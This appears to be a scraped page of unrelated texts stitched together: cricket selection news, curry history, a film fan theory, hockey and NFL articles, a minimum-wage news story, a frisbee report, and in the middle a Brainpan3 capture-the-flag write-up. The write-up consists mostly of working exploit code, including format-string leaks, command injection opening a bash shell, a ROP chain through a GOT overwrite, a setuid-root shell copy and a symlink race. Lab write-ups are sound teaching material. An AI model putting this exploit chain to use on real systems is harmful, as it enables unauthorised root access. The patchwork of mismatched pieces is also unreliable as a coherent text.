He was dropped for the West Indies tour and the World T20 but Peter Moores and the selection panel, now including Mick Newell and Angus Fraser, have given him another opportunity. He could open in the T20 alongside Alex Hales - Michael Lumb has been dropped - although Ian Bell, who was called up to the squad in West Indies and went to the World T20, has been retained.
"He aired his views but life moves on, nobody's perfect, certainly we are not and he isn't, nobody is," James Whitaker, the national selector, said. "What will count is his talent. I don't think there was ever an issue."
If Carberry is to fit into the one-day side, it would need to be in the top three. He could either follow Cook and Bell or the selectors could consider splitting the current opening pair with Carberry
Carberry has yet to play a T20 international and has been limited to just five ODIs, which all came last summer against Ireland and Australia where he made 108 runs at 21.60. His return in these squads could indicate that the door is not closed to him continuing his Test career despite Sam Robson being the favourite to open alongside Cook in that format.
Whitaker indicated that ongoing concerns about Alex Hales' technique keeps him out of the one-day format. "He has obviously done well in T20 cricket but you have to balance that with certain techniques required in the longer form of one-day cricket," he said. "It does not discount him in the future and he will undoubtedly push his claim and I hope he does through the year. There is an important nine months to the World Cup.
"Carberry is there now to give us the option of using that style of play at the top. We've got a number of options and Alex will be one in the future."
From England's original World T20 squad, Luke Wright, Stephen Parry, Jade Dernbach along with Lumb are dropped, while Stuart Broad is unavailable and Craig Kieswetter, who was called up as a replacement, has not been included. In Broad's absence, Eoin Morgan will captain the one-off T20.
Moeen is the only player who was in the squad for the Scotland ODI (which became a T20) not included for the first three matches of this one-day series. With Carberry's recall and Gary Ballance in the side there is also a logjam for top-order places, but Moeen's record in West Indies - 109 runs in three innings - was a promising start. One explanation is that Moeen's absence will allow him to play a Championship match and get some more red-ball cricket under his belt before the Test squad is selected, where he is widely tipped to be the main spinner.
Harry Gurney, the Nottinghamshire left-armer who made his debut against Scotland, is included for both formats as is Chris Woakes and Chris Jordan. James Anderson will lead the ODI attack. Ben Stokes remains on the sidelines due to his hand injury and Steven Finn is not yet considered ready for a return to international cricket. Others who may have come close to selection include James Vince, the Hampshire batsman, and Liam Plunkett.
Twenty20 squad Eoin Morgan (capt), Moeen Ali, Ian Bell Ravi Bopara, Tim Bresnan, Jos Buttler, Michael Carberry, Harry Gurney, Alex Hales, Chris Jordan, Joe Root, James Tredwell, Chris Woakes
ODI squad (first three matches) Alastair Cook (capt), James Anderson, Gary Ballance, Ian Bell, Ravi Bopara, Tim Bresnan, Jos Buttler, Michael Carberry, Harry Gurney, Chris Jordan, Eoin Morgan, Joe Root, James Tredwell, Chris Woakes
Andrew McGlashan is an assistant editor at ESPNcricinfo
© ESPN Sports Media Ltd.Hari Ghotra Food & Drink Share
Indian chef and cooking instructor Hari Ghotra recounts the fascinating story of the history of curry in the UK.
Here in Blighty we love a good curry, which now takes a place in our hearts alongside classic British favourites like fish & chips and shepherd’s pie. And in a recent survey 43% of us chose tikka masala as our ultimate comfort food.
Although our great love of spice can be explained many ways, one lady had a great influence in making curry more mainstream. That lady was Her Majesty the Empress of India, Queen Victoria.
History of Curry
Indian food first graced British tables as far back as the 1700s when soldiers and tradespeople returned from the eastern colonies. A curry recipe was first seen in Hannah Glasse's Art of Cookery Made Plain and Easy, which was first published in 1747. The recipe, entitled “How to make a currey [sic] the Indian way” combined boiled chicken with turmeric, ginger and onions in a cream, lemon and chicken stock sauce. Not quite how we make it today, but not far off.
The first Indian restaurant opened in 1809. The Hindostanee Dinner and Hooka Smoking Club was set up at the house of Saik Dean Mohamed just off of Hyde Park, London. Saik was a Bengali immigrant and entrepreneur who also produced his own curry powder. The Club offered “Indian dishes, in the highest perfection” served in a traditional Indian lounge, complete with hookahs and Indian tobacco. Guests could even get food delivered to their house – hence, the Indian takeway was born.
Unfortunately, the fashion at the time was for food to be prepared at home by servants, rather than eaten out. The club went bankrupt a couple of years after opening.
By this time, though, Indian influence was creeping into British cooking. Early attempts included piccalilli – a sort of knock off version of proper Indian pickle – as well as spicy fish dish kedgeree, and tangy mulligatawny soup.
By the time Queen Vic got to the throne Indian food was fairly readily available, but it was seen as more of a novelty, and many households turned their noses up at the idea of having their houses smell of pungent curry. Anybody who was anybody had a French chef cooking for them.
Old Vic was about to change that. The Queen was fascinated with India – although she never visited the country, she learnt both Hindi and Urdu and even had one of the wings at Osborne House decorated by a famous Punjabi architect. I love the idea of Vic and Albs, surrounded by gold and peacock feathers, discussing matters of the empire over a cheeky balti.
Later on in life she became close personal friends with a Mr Abdul Karim (AKA The Munshi) – a Muslim from Agra who came over to Britain in the late 1800s to work as a royal servant. The Queen kept a mostly Indian staff in later years and, according to food historians, curry was on the menu most every day. This didn’t take long to spread from the palace to the aristocracy, then through the upper and middle classes. An excerpt from Victorian cookbook Modern Domestic Cookery reads:
“Curry, which was formerly a dish almost exclusively for the table of those who had made a long residence in India, is now so completely naturalized that few dinner are thought complete unless one is on the table.”
Queen Victoria had made curry cool.
From then on curry just got more and more popular. There was a blip during the period of the two world wars due to rations, but once the world was at peace and India had gained independence, an influx of immigrants from the subcontinent brought with them the curry culture we know and love today.
Perhaps the most important moment was in the late 1960s when, so legend has it, a Scot complained about the dryness of his chicken tikka dish at a Glaswegian curry house. The legend goes that the head chef, at a loss, heated up a tin of tomato soup and tipped it over the chicken with a yoghurt and coriander garnish. And so the chicken tikka masala was born – the UK’s favourite comfort food.
Love Indian food? Have a look at Hari’s spice kits – cook authentic Indian food the traditional Indian way.
Images via The National Archive, arsheffield and wolfworld.20th Century FOX/Orion Pictures
The Predator, Aliens, and Terminator universes are connected in more ways than one. They’ve shared antagonists, and sometimes characters like Ripley in the spinoff comics. but Cracked writer David Israel Nunez takes the overlapping franchises to a new level with his theory which connects the origin of Terminator‘s T-800 killing machine to Major Dutch Schaefer — the musclebound U.S. government killing machine in Predator. Basically, Dutch was the basis for the T-800.
The internet is full of “what happened to Dutch?” videos and articles, but here’s what we know for sure. After barely making it out of the Val Verde incident in Predator, Dutch is interviewed by the same company led by Gary Busey that’s trying to capture and steal the technology from the hunter in Predator 2 — the Other World Lifeforms Taskforce. All we know is that Dutch was treated for his injuries, maybe some light radiation poisoning, then he was never heard from again. Here’s a good primer:
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Considering Cyberdyne Systems is hard at work with the government to make the nastiest tech possible, Nunez supposes that Dutch was deemed worthy of being the prototype for the T-800 thanks to his prowess in the field and sweet pecs. We’re not going to go into his full theory (read it here, it’s good), but the premise is furthered by Major Dutch Schaefer’s presence in the early ’90s arcade beat-em-up Aliens Vs. Predator. In the sidescrolling classic from Capcom, Dutch is a one-armed cyborg, probably based on the Dutch we saw in Predator, but not actually Dutch. He’s likely one of the first iterations of the T-800 units that will soon be mass produced and end the world. The timeline is as muddy as Arnold by the end of the movie.
Not only does AvP Dutch have the exact same name as Dutch from the movie, but he shares enough of a resemblance to Arnold as not to get sued. Let’s face it — this is Dutch, or at least a cybernetic organism with living tissue over a hyperalloy endoskeleton that looks like Dutch.Spectra Venue Management and Tourism London are pleased to announce that the 2016 Rookie Tournament will be held at Budweiser Gardens September 16-18, 2016. This marks the fourth year in a row that London has hosted the tournament which features the top prospects from four of the National Hockey League’s most popular franchises.
This year, Canadiens prospects will play three games in London, ON beginning on Friday, September 16 against the Pittsburgh Penguins prospects. They will also square off against young guns from the Toronto Maple Leafs (September 17) and the Ottawa Senators (September 18).
Team picture taken at the 2015 Rookie Tournament.
“We are very pleased that the Rookie Tournament is returning to London. It has proven to be a very successful competition that many local hockey fans look forward to experiencing,” said John Winston, General Manager, Tourism London.
"We are very excited to once again host the Rookie Tournament, a great event for hockey fans of all ages” said Brian Ohl, General Manager at Budweiser Gardens and Regional Vice President Spectra Venue Management. “The Rookie Tournament gives fans the first chance to see the new crop of young talent from four of the most popular NHL teams: The Pittsburgh Penguins, Ottawa Senators, Montreal Canadiens and Toronto Maple Leafs”.
Tickets for the 2016 Rookie Tournament go on sale Friday, April 29 at 10am with three different packages available for purchase. The All-Event Package includes tickets to all six Rookie Tournament games and a savings of up to 25% with Adult tickets priced at just $87.00 and Students/Seniors/Kids tickets available for only $72.00.
Once again, Toronto Maple Leaf fans will be able to purchase the ‘Leafs Nation Package’ which includes all three Leaf games, while Montreal fans can see their team in action by purchasing the ‘Habs Fan Pack’. Both packages will include all three games of each respective team at a savings of up to 12%. Adult packages are $51.00 while Students/Seniors/Kids packages are $39.00. Individual game tickets will go on sale at a later date to be announced.
Full Tournament Schedule:
Friday, September 16, 2016
3:35 p.m. Game # 1 – Pittsburgh (black) vs. Montreal (red)
7:00 p.m. Game #2 – Ottawa (white) vs. Toronto (blue)
Saturday, September 17, 2016
3:35 p.m. Game #3 Pittsburgh (black) vs. Ottawa (white)
7:00 p.m. Game #4 Toronto (blue) vs. Montreal (red)
Sunday, September 18, 2016
1:00 p.m. Game #5 Montreal (red) vs. Ottawa (white)
4:35 p.m. Game #6 Toronto (blue) vs. Pittsburgh (black
Ticket Packages on sale Friday, April 29, 2016 @ 10am
Tickets will be available online at www.budweisergardens.com and by phone at 1-866-455-2849. Tickets also available in person at the Courtesy Ford Box Office at Budweiser Gardens, Western Connections at UWO, BooksPlus, and the Fanshawe College Biz Booth.
Tickets (incl. HST, FMF, plus service charges):
All-Event Package: Adults $87.00, Students/Seniors/Kids $72.00
Leafs Nation Package: Adults $51.00, Students/Seniors/Kids $39.00
Habs Fan Pack: Adults $51.00, Students/Seniors/Kids $39.00
Save up to 25% on Single Game Tickets with the All Event, Leafs Nation and Habs Fan Packages – Available for a limited timeAs the 2013 NFL regular season winds down, thoughts begin to focus on the off season, particularly the 2014 NFL Draft. Seven round St. Louis Rams mock drafts are beginning to appear. The majority of these mocks are well thought-out, and reflect the Rams' perceived needs. Therein lies the rub. What will the Rams' needs be come May?
One of the areas to look at - in determining the Rams' needs going into the 2014 NFL Draft - are potential salary cap casualties. Salary cap casualties played a significant role in last years draft. Before the opening of the free agency period, the Rams released offensive tackle Wayne Hunter and safety Quintin Mikell. The release of these two players resulted in an increase of 7 million in available cap space. The 7 million in additional cap space was instrumental in allowing the Rams to sign tight end Jared Cook and offensive tackle Jake Long. It also meant the Rams felt no pressure to select an offensive tackle in the draft - and a lot of pressure to select a safety - resulting in the Rams picking T.J. McDonald in the third round.
2014 Salary Cap Outlook
The St. Louis Rams currently have the lowest available cap space in the NFL ($17,718). Unless measures are taken by the Rams to alleviate the cap space situation, it's likely they'll remain tight up against the cap in 2014. The NFL Salary Cap is expected to remain relatively flat for 2014. An increase from 123 million to 126 million is a reasonable estimate of what the Salary Cap will be for 2014.
The Rams will gain 18 million of cap space relief in 2014 for the following reasons:
11 million in dead money will come off the books.
Cortland Finnegan's cap hit will go down 5 million.
James Laurinaitis'cap hit will go down 2 million.
Conversely, there are many cap hit increases in 2014 negatively impacting cap space:
Given these figures, it's evident the Rams will continue to have a tight cap space situation in 2014. The Rams will also need to create a minimum of 7 million in cap space to sign the 2014 rookie class, account for cap adjustments, and have a contingency/reserve in place for the 2014 regular season. At present, the 2014 cap space situation would preclude the Rams from signing any significant free agents, including their own [ex. Rodger Saffold].
There are four strategies the Rams can utilize to alleviate the cap space constraints:
Restructure existing contracts. Limit re-signing of players on the roster who are free agents after this season. Limit the signing of free agents from other teams. Release players on the roster with larger contracts, making them "cap casualties".
Cap Casualties And Contract Restructuring
The accompanying chart presents the St. Louis Rams' 10 highest cap hits [in millions] for 2014:
Name Base Salary Signing Bonus Roster Bonus Cap Hit Dead Money Cap Savings Sam Bradford 14.015 3.595 0 17.61 7.19 10.42 Chris Long 13.2 1.5 0 14.7 17.7 -3 James Laurinaitis 10 0.4 0 10.4 10.2 0.2 Cortland Finnegan 6 1 3 10 3 7 Jake Long 8 1.25 0 9.25 7.75 1.5 Jared Cook 3 1 3 7 12 -5 Scott Wells 5.5 1 0 6.5 2 4.5 Kendall Langford 5 1 0 6 2 4 Harvey Dahl 2 0 2 4 0 4 William Hayes 2.595 1.25 0 3.845 2.5 1.345
The "cap hit" is the sum of base salary and various bonuses for each player. "Dead money" is the amount counting against the salary cap in 2014 if the player is released [assuming all remaining pro-rated money is accelerated into 2014]. "Cap savings" refers to the amount saved for 2014 only, and is the difference between the players cap hit for 2014 and any outstanding dead money.
Jake Long, Jared Cook, and William Hayes all signed new contracts in 2013. None of the three are candidates for release or having their contracts restructured. Most NFL observers would agree that restructuring a contract after the 1st year shows bad faith on the part of the teams' front office, and is not conducive to signing future free agents. In addition, both Long and Cook would have exorbitant dead money charges against the salary cap if released.
Sam Bradford is not a candidate for restructuring or release. Bradford has only two years remaining on his rookie contract, which precludes entertaining a restructure. An extension is a more feasible option, but not likely given his season-ending injury. Bradford will first want to produce a quality season in 2014 - to enhance his bargaining position on a new contract - while the Rams will be cautious about offering an extension until he is fully recovered and productive.
Chris Long and James Laurinaitis are not considered potential cap casualties. They both have contracts that are conducive to restructuring, due to the high base salaries and minimal amounts of bonus money in 2014. To create cap space in 2013, Long's contract was restructured by converting part of his base salary to a pro-rated bonus. Restructuring Long or Laurinaitis would only be contemplated as a last resort. The Rams don't want to imperil their future salary cap position and structure by back-loading contracts.
From strictly a financial/contractual perspective, Cortland Finnegan, Kendall Langford, Harvey Dahl, and Scott Wells are the four players likely to be considered for release or contract restructuring. Their contracts contain relatively low - and manageable - amounts of dead money. More importantly, the cap savings for each player is quite substantial [4-7 million], negating the negative impact of the dead money on the Rams' overall salary cap position. The absence of guaranteed monies remaining in their contracts would allow their releases to be relatively pain-free, with respect to the salary cap.
The "Financial Foursome"
Scott Wells
Center Scott Wells was having a fine season until fracturing his fibula against San Francisco in Week 13. He will miss the Rams' remaining 4 games. In 2012, Wells played in just 7 games due to injury. Wells will be 33 in January, and is in the twilight of his career. Releasing Wells would create 2 million in dead money against the salary cap in 2014, but results in cap savings of 11 million [4.5 in 2014, 6.5 in 2015]. His release would have little impact on the 2014 draft, as the Rams have Tim Barnes [if re-signed as an ERFA] and Barrett Jones for depth at the position. If the Rams wish to retain Wells' services, they could attempt to restructure his contract in a manner similar to that of Harvey Dahl.
Harvey Dahl
Guard Harvey Dahl has missed 4 games due to a knee injury. Dahl missed the last 2 games of 2013 with a torn triceps injury. Dahl will be 33 in June, and is also on the downside of his career. At the September 4, 2013 salary cap compliance deadline, the Rams restructured Dahl's contract, in what was essentially a pay cut. The accompanying chart presents Harvey Dahl's remaining contract [before and after the restructure]:
Year Base Salary Roster Bonus Cap Hit 2013 4 0 4 2014 4 0 4 2013 2. |
TRACE-------------------------------------] > f 0 f7e95d82 f 1 8048cd0 main+539 f 2 f7e23a83 __libc_start_main+243 f 3 8048741 _start+33 Program received signal SIGSEGV
Boom! Gotta love seeing SIGSEGV, eh? Our crashing instruction is mov [edx], eax.
Looks like we are overwriting the data in address daac (edx - from our cyclic function) with bbbb (eax - our second message). This is effectively a write-what-where condition, where we can write 4 bytes of whatever, wherever we want.
Looking at 0x804cd0 (our backtrace at frame 1 ), we see that we are in a strcpy. Set breakpoint there and restart:
pwn> bp 0x8048ccb [---------------------------------------CODE----------------------------------------] => 0x8048ccb <main+534> call 0x8048630 <strcpy@plt> dest: 0x63616164 ('daac') src: 0x804c170 <-- 'bbbb'
At the point of crash, our stack is in the following state:
[---------------------------------------STACK---------------------------------------] 00:0000| esp 0xffffc83c --> 0x8048cd0 (main+539) <-- mov eax, dword ptr [ebp - 0x4c] 01:0004| 0xffffc840 <-- 0x63616164 02:0008| 0xffffc844 --> 0x804c170 <-- 'bbbb' 03:000c| 0xffffc848 --> 0x804c008 <-- 0xfbad2488 04:0010| 0xffffc84c <-- 'aaaabaaacaaadaa...' 05:0014| 0xffffc850 <-- 'baaacaaadaaaeaa...' 06:0018| 0xffffc854 <-- 'caaadaaaeaaafaa...' 07:001c| 0xffffc858 <-- 'daaaeaaafaaagaa...'
We see our controlled buffer at stack address 0xffffc84c. We need to perform a stack pivot in order to move ESP to our buffer so we can start our ROP sequence.
Set bbbb to the address of a stack move 20 from binjitsu ( rop.search(move=20).address ) and set the offset of daac to the strtok GOT entry.
from pwn import * elf = ELF ('msg_admin' ) rop = ROP ( elf ) pivot = rop. search ( move = 20 ). address # Need to move the stack 20 bytes to get to our ROP chain strtok = elf. got ['strtok' ] log. info ( "Pivot: {}". format ( hex ( pivot ))) log. info ( "Strtok: {}". format ( hex ( strtok ))) # Overwrite `strtok` in GOT with the stack pivot with open ( 'pwn.msg', 'w' ) as f : sc = 'A' * cyclic_find ( 'daac' ) + p32 ( strtok ) sc += 'B' * ( 216 - len ( sc )) f. write ( '{}|{}
'. format ( 'a' * 4, sc )) f. write ( '{}|{}
'. format ( p32 ( pivot ), 'B' * 12 ))
Awesome, so now we have stack control and EIP control.. aka.. prime ROP condition. ;-)
Let’s check out relevant ROP gadgets using ROPGadget. One note, be sure to increase the --depth so that we can see more gadgets. In this case, it was important. We wouldn’t be able to find our clear eax gadget without it.
$ ROPgadget --depth 30 --binary msg_admin
Two gadgets from the list stick out as interesting.
The gadget below will allow us to increment eax using a dereferenced pointer.
0x08048feb : add eax, dword ptr [ebx + 0x1270304] ; ret
The next gadget will give us a way of clearing eax. Note, this gadget wasn’t visible from the default ROPgadget setting of --depth 10.
0x08048790 : mov eax, 0x804b074 ; sub eax, 0x804b074 ;...gadgets that don't matter... ; ret
Our plan of attack will be as follows (spoiler alert, the same as pretty much every CTF ASLR bypass):
Deference an entry in the GOT.
Calculate the difference between the given entry and system.
. Add this difference to our dereferenced value.
Call system('/tmp/foo') where /tmp/foo contains our commands.
Because we want to reduce the number of add offset instructions, let’s try and find which GOT entry in msg_admin is closest to system in their libc.
from pwn import * elf = ELF ('msg_admin' ) libc = ELF ( 'libc.so.6' ) for symbol in elf. symbols : try : if libc. symbols [ symbol ] < libc. symbols ['system' ]: print symbol, hex ( libc. symbols ['system' ] - libc. symbols [ symbol ]) except : pass
$ python find-good-addr.py __libc_start_main 0x26800 atol 0xe900
To make things a bit simpler, we will only be adding positive values to our GOT entry. Let’s use the atol entry since it has the smallest difference to system.
Next we need to find offsets in our binary that when accumulated, equal 0xe900. One possible list is below:
0x8048595 = 0xc6e8 0x8048dff = 0x2203 0x8048833 = 0x14 0x8048fb9 = 0x1
Now that we have our system offset, we only need one more gadget to execute it.
0x8048786 : call eax;
We noticed that the string /tmp/foo is found in the usage statement. Let’s leverage that and use it as our command to execute. We need a command or two that, when executed as root, will give us a shell. One way to do this is below:
cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned;
We need to set the setuid bit (4777) in order for us, as puck, to execute the binary under root privileges.
The pieces are in place, let’s check out our final ROP chain.
def add_offset ( addr ): """Function used to easily add offsets to eax to global rop chain""" # 0x08048feb : add eax, dword ptr [ebx + 0x1270304] ; ret. add_to_sum = 0x08048feb rop. raw ( pop_ebx ) rop. raw ( addr - 0x1270304 ) # Have to subtract the constant as it is added back by the gadget rop. raw ( add_to_sum ) # Note the binjitsu fun! rop = ROP ( elf ) # Create the simple ROP object from msg_admin tmpfoo = elf. search ( '/tmp/foo' ). next () atol = elf. got [ 'atol' ] pop_ebx = 0x804859d call_eax = 0x8048786 # Offsets found from manual IDA investigation hex_c6e8 = 0x8048595 hex_2203 = 0x8048dff hex_14 = 0x8048833 hex_1 = 0x8048fb9. rop. raw ( 0x8048790 ) # eax = 0 # Add offsets to atol to reach system() add_offset ( atol ) # eax = 0 + atol_addr add_offset ( hex_c6e8 ) # eax = eax + 0xc6e8 add_offset ( hex_2203 ) # eax = eax + 0x2203 add_offset ( hex_14 ) # eax = eax + 0x14 add_offset ( hex_1 ) # eax = eax + 0x1 # eax now contains the address of system() # call eax with the parameter of /tmp/foo rop. raw ( call_eax ) rop. raw ( tmpfoo )
As per the previous challenges, we need to execute these via binjitsu.
# Write our /tmp/foo command r. sendline ( 'echo "cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned" > /tmp/foo' ) r. sendline ( 'chmod +x /tmp/foo' ) # Overwrite strtok with the pivot gadget sc = str ( rop ) sc += cyclic ( cyclic_find ( 'daac' ) - len ( sc )) sc += p32 ( strtok ) # where to overwrite sc += 'C' * ( 216 - len ( sc )) data = '' data += '{}|{}
'. format ('s' * 4, sc ) data += '{}|{}
'. format ( p32 ( pivot ), str ( rop )) pwnmsg_file = '' for b in data : pwnmsg_file +='\\ x{}'. format ( b. encode ( 'hex' )) r. sendline ( '''python -c "print '{}'" >> /opt/.messenger/pwn.msg'''. format ( pwnmsg_file ))
At this point, we think we win. Let’s see…
[+] Shell received: puck [*] '/home/ctf/ctfs/brainpan3/msg_admin' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE [*] Loaded cached gadgets for'msg_admin' [*] Wait for your r00t shellz [*] Bingo! [*] uid=1001(puck) gid=1004(dev) euid=0(root) groups=0
And with that, we win! Thanks much to @superkojiman for the awesome VM.
Final exploit video
Final exploit
from pwn import * import string import random r = remote ( '192.168.224.154', 1337 ) # Leak stack # print r.recv() r. clean () ### # Get access code ### r. sendline ('% d.' * 3 + 'A' * 80 ) r. recvuntil ( "ACCESS CODE: " ) output = r. recv () code = output. split ( '.' )[ 2 ] log. info ( "Code identified: {}". format ( code )) r. sendline ( code ) log. info ( "Turning on reporting.." ) ### # Turn on reporting ### r. sendline ( '3' ) shellcode ='% x.' * 70 r. clean () r. sendline ( shellcode ) r. recvuntil ( "SESSION: " ) # r.recvuntil("SESSION: ") """ ['bfba64ac', '104', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', 'ff0a2e78', 'b778bc20', 'bfba65fc', '0', 'b778b000', 'b778bac0', 'b778c898', 'b75df940', 'b76510b5', 'b778bac0', '59', '4e', '59', 'b778b8a0', 'b778b000', 'b778bac0', '
'] """ session_name = r. recvuntil ( '
' ). split ( '.' ) # print session_name n_index = session_name. index ( '4e' ) log. info ( "Report 'N' at offset {}". format ( n_index )) r. sendline ( '3' ) r. sendline ( 'Y' * ( 4 * ( n_index - 2 ) + 1 ) ) ### # After reporting ### for command in [ 'whoami', 'id' ]: r. clean () r. sendline ( '1' ) r. sendline ( '$({} >&2)'. format ( command )) r. recvuntil ( "SENDING TO REPORT MODULE" ) output = r. recvuntil ( '[+]' ). split ( '
' )[ 2 ] log. success ( "{} - {}". format ( command, output )) r. clean () r. sendline ( '1' ) r. sendline ( '$(/bin/bash -i >&2)' ) log. success ( "Assume the form:" ) log. success ( "anansi" ) sleep ( 1 ) offset = cyclic_find ( 'zaab' ) shellcode = 'A' * cyclic_find ( 'zaab' ) + p32 ( 0x804a080 ) buffer = 116 - len ( shellcode ) binsh_shellcode = asm ( shellcraft. sh ()) # Build argv1 argv1 = '"A" * {} + "{}" + "C" * {}'. format ( offset, r'\x80\xa0\x04\x08', buffer ) # Build argv2 argv2 = ''. join ('\\ x{}'. format ( enhex ( binsh_shellcode )[ x : x + 2 ]) for x in xrange ( 0, len ( enhex ( binsh_shellcode )), 2 )) # Final command actual_shellcode = """./cryptor $(python -c 'print {}') $(python -c 'print "{}"')""". format ( argv1, argv2 ) log. info ( actual_shellcode ) # Sometimes the command didn't work. This will repeat throwing the command until we get a reynard shell. r. sendline ( 'cd /home/reynard/private' ) while True : r. clean () r. sendline ( actual_shellcode ) r. clean () r. sendline ( 'id' ) output = r. recv () if'reynard' in output : break log. success ( "You are now:" ) log. success ( "reynard" ) sleep ( 1 ) r. sendline ( 'id' ) r. sendline ( """ echo " import os import socket import telnetlib import subprocess HOST = 'localhost' PORT = 7075 try: os.remove('/mnt/usb/key.txt') except: pass # Ensure we have a file to begin with subprocess.check_output(['touch', '/mnt/usb/key.txt']) # Connect and check for symlink r = socket.socket() r.connect((HOST, PORT)) # Quickly remove the non-symlinked file and re-symlink os.remove('/mnt/usb/key.txt') os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt') # Try for our shellz t = telnetlib.Telnet() t.sock = r t.interact() r.close() " > win.py """ ) log. info ( "Let's hope we win the race.. go go go!" ) r. sendline ( "python win.py" ) r. clean () r. sendline ( "whoami" ) output = r. recv () log. success ( "I choose you!:" ) log. success ( output ) log. success ( "Insert ROP pun here..." ) elf = ELF ('msg_admin' ) rop = ROP ( elf ) pivot = rop. search ( move = 20 ). address # Need to move the stack 16 bytes strtok = elf. got ['strtok' ] rop = ROP ( elf ) def add_offset ( addr ): # 0x08048feb : add eax, dword ptr [ebx + 0x1270304] ; ret add_to_sum = 0x08048feb rop. raw ( pop_ebx ) rop. raw ( addr - 0x1270304 ) rop. raw ( add_to_sum ) tmpfoo = elf. search ( '/tmp/foo' ). next () atol = elf. got [ 'atol' ] pop_ebx = 0x804859d call_eax = 0x8048786 hex_c6e8 = 0x8048595 hex_2203 = 0x8048dff hex_14 = 0x8048833 hex_1 = 0x8048fb9 rop. raw ( 0x8048790 ) # eax = 0 add_offset ( atol ) add_offset ( hex_c6e8 ) add_offset ( hex_2203 ) add_offset ( hex_14 ) add_offset ( hex_1 ) rop. raw ( call_eax ) rop. raw ( tmpfoo ) r. sendline ( 'echo "cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned" > /tmp/foo' ) r. sendline ( 'chmod +x /tmp/foo' ) log. info ( 'Create our root command file at /tmp/foo' ) log. info ( 'echo "cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned" > /tmp/foo' ) log. info ( 'chmod +x /tmp/foo' ) # Overwrite strtok with the pivot gadget sc = str ( rop ) sc += cyclic ( cyclic_find ( 'daac' ) - len ( sc )) sc += p32 ( strtok ) # where to overwrite sc += 'C' * ( 216 - len ( sc )) data = '' data += '{}|{}
'. format ('s' * 4, sc ) data += '{}|{}
'. format ( p32 ( pivot ), str ( rop )) pwnmsg_file = '' for b in data : pwnmsg_file +='\\ x{}'. format ( b. encode ( 'hex' )) r. sendline ( '''python -c "print '{}'" >> /opt/.messenger/pwn.msg'''. format ( pwnmsg_file )) log. info ( 'Create our malicious msg file' ) log. info ( '''python -c "print '{}'" >> /opt/.messenger/pwn.msg'''. format ( pwnmsg_file )) r. sendline ( 'rm /tmp/pwned' ) r. clean () log. info ( "Wait for your r00t shellz" ) for _ in xrange ( 75 ): r. sendline ( 'ls -la /opt/.messenger' ) sleep ( 1 ) output = r. recv () if 'pwn.msg' not in output : break # Get ROOT shell! r. sendline ( '/tmp/pwned' ) r. sendline ( 'id' ) r. sendline ( 'whoami' ) r. sendline ( 'cd /root' ) r. sendline ( 'gzip -d brainpan.8.gz' ) r. sendline ( 'cat brainpan.8' ) for _ in xrange ( 10 ): r. sendline ( '' ) log. info ( "Bingo!" ) log. info ( r. recv ()) r. interactive ()In a letter delivered to the White House Friday, Sen. Bernie Sanders (I-Vt.) and 17 colleagues, including Sen. Elizabeth Warren (D-Mass.), asked President Barack Obama to issue an executive order giving "preference" in government contract bidding to companies that meet "model employer" standards.
"Mr. President, the stroke of your pen can have transformative impact for millions of workers," the senators write. "As low-wage fast food, retail and federal contract workers continue to strike in growing numbers to 'Fight for $15 and a Union,' we urge you to harness the power of the Presidency to help these workers achieve the American Dream."
The request, obtained by the Huffington Post, calls on the administration to seek out firms "who pay a living wage, offer fair healthcare and retirement benefits, grant paid leave for sickness and care-giving, provide full-time hours and stable schedules, and give workers a voice through collective bargaining so they do not need to strike to be heard."
The faces of the "Fight": On April 15, low-wage employees from chains like McDonald's and Wendy's mobilized under the banner of the #Fightfor15 movement, which is asking for "$15 an hour and the right to form a union without retaliation." Organizers told Mic at the time that the protests reached 236 cities in the U.S. and 35 countries.
The senators began their letter by thanking Obama for a different executive order, signed after his State of the Union address in February 2014, which raised the minimum wage for federal contract workers to $10.10 an hour. Going forward, the senators are calling on the White House to "build on that momentum" and "declare that the federal government will invest our taxpayer dollars to incentivize model employers that commit to creating good jobs and to rebuilding America's ailing middle class."
Despite increased political pressure from a number of rapidly coalescing public movements and organized labor groups, the federal minimum wage for all workers remains at $7.25. In 2014, Seattle and San Francisco passed a $15 minimum wage in their cities, and four states, all Republican strongholds, voted in for legislation to boost their numbers in the 2014 elections. Still, data from the Economic Policy Institute shows how far the federal minimum has fallen behind inflation and worker productivity:
A bigger voice: "The federal minimum wage today is worth 25% less than it was back in 1968, even though minimum wage workers are far more educated and productive than they were decades ago," Amy Traub, a senior policy analyst at the think tank Demos, told Mic's Zeeshan Aleem last December. "It's not enough to live on, and it's not enough to support a family on, so it's no surprise that workers and their allies are organizing and calling for a raise."
Nearly six months into 2015, as the 2016 presidential election cycle spins into high gear, the ranks of workers' allies are growing in number and influence. Sanders, coauthor of Friday's letter with Sen. Dick Durbin (D-Ill.), has already shown his words can inspire significant policy movement from the Democratic frontrunner, former secretary of state Hillary Clinton. With Friday's letter, the "Fight for $15" now has a voice in American politics' biggest arena.Thanks to everyone for a fantastic weekend at Nottingham's Grove Farm, where the wind (mostly) behaved itself! With some stunning Ultimate played in all divisions, it really was a pleasure to watch.
In BUCS Division 1, the University of Birmingham added to their bulging trophy cabinet, winning a stunning 5 points in a row after half time to defeat University of Dundee 9-7. That was the exact reverse of the scoreline from their pool-play defeat to the same team, showing the gap at the top to be paper-thin. A huge performance from MVP Rollo Sax Dixon helped to make the difference when it counted.
The University of Manchester put a difficult Saturday behind them to win bronze, very nearly unseating Birmingham in semis before defeating Cambridge for the last of the BUCS medals.
